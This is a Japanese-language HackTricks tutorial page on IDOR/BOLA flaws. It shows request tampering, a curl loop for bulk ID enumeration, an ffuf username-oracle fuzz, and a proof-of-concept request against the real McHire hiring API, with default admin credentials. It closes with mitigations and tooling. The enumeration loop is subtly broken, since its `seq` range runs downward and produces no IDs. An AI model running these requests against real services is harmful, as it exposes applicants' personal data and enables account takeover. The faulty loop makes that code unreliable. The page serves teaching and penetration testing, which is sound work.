IDOR (Insecure Direct Object Reference)

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web または API endpoint がユーザー制御可能な識別子を公開または受け入れ、その識別子が内部オブジェクトに直接アクセスするために使用される一方で、呼び出し元がそのオブジェクトにアクセス/変更する権限を持っているかどうかを検証していない場合に発生します。 悪用に成功すると、通常は他ユーザーのデータを読み取ったり変更したりする横方向または縦方向の権限昇格を許し、最悪の場合はアカウントの完全な乗っ取りや大量のデータ持ち出しにつながります。


1. 潜在的なIDORの特定

  1. オブジェクトを参照するパラメータを探す:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. データを読み取るまたは更新するエンドポイントを優先する(GET, PUT, PATCH, DELETE)。
  2. 識別子が連番または予測可能かどうかを確認する — もしあなたのIDが 64185742 なら、64185741 はおそらく存在する。
  3. 追加のAPIを露出している可能性のある隠れたまたは別のフロー(例:ログインページの「Paradox team members」リンク)を探索する。
  4. 認証済みの低権限セッションを使用し、同じ token/cookie を保持したままIDだけを変更する。認可エラーが発生しない場合は通常IDORの兆候である。

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自動列挙 (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

ダウンロードエンドポイントが username と filename の両方を受け取る場合(例: /view.php?username=<u>&file=<f>)、エラーメッセージの微妙な違いによってしばしば oracle が生じます:

  • 存在しない username → "User not found"
  • ファイル名が不正だが拡張子は有効 → "File does not exist"(場合によっては利用可能なファイルを一覧表示する)
  • 拡張子が不正 → バリデーションエラー

認証済みセッションがあれば、無害なファイル名を固定して username パラメータをファジングし、"user not found" 文字列でフィルタすることで有効なユーザを特定できます:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

有効なユーザー名が判明したら、特定のファイルを直接要求します(例: /view.php?username=amanda&file=privacy.odt)。このパターンは、他のユーザーのドキュメントの無断開示やcredential leakageにつながることが多い。


2. 実際の事例 – McHire チャットボットプラットフォーム (2025)

Paradox.aiにより提供されるMcHire採用ポータルの評価中に、以下のIDORが発見されました:

  • エンドポイント: PUT /api/lead/cem-xhr
  • Authorization: 任意 のレストランのテストアカウント用ユーザーセッションcookie
  • ボディパラメータ: {"lead_id": N} – 8桁の、連番の数値識別子

lead_id を減らすことで、テスターは任意の応募者の full PII(名前、メール、電話、住所、シフト希望)と、セッションハイジャックを可能にする消費者用 JWT を取得しました。範囲 1 – 64,185,742 を列挙したところ、およそ6400万件のレコードが露出しました。

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.


3. IDOR / BOLA の影響

  • 水平的権限昇格 – 他のユーザーのデータを読み取り/更新/削除できる。
  • 垂直的権限昇格 – 低権限ユーザーが管理者専用の機能を利用できるようになる。
  • 識別子が連続している場合(例:申請者ID、請求書)大規模なデータ漏洩が発生する可能性がある。
  • 他ユーザーのトークンを盗む、またはパスワードをリセットすることでアカウント乗っ取りが発生する。

4. 緩和策とベストプラクティス

  1. すべてのリクエストで object-level authorization を強制する(user_id == session.user)。
  2. 自動増分IDの代わりに indirect, unguessable identifiers(UUIDv4、ULID)を使用する。
  3. 認可は必ず server-side で行い、隠しフォームフィールドやUIコントロールに頼らない。
  4. 中央のミドルウェアで RBAC / ABAC チェックを実装する。
  5. ID列挙を検出するために rate-limiting & logging を追加する。
  6. 新しいエンドポイントはすべてセキュリティテストを行う(ユニット、統合、及び DAST)。

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする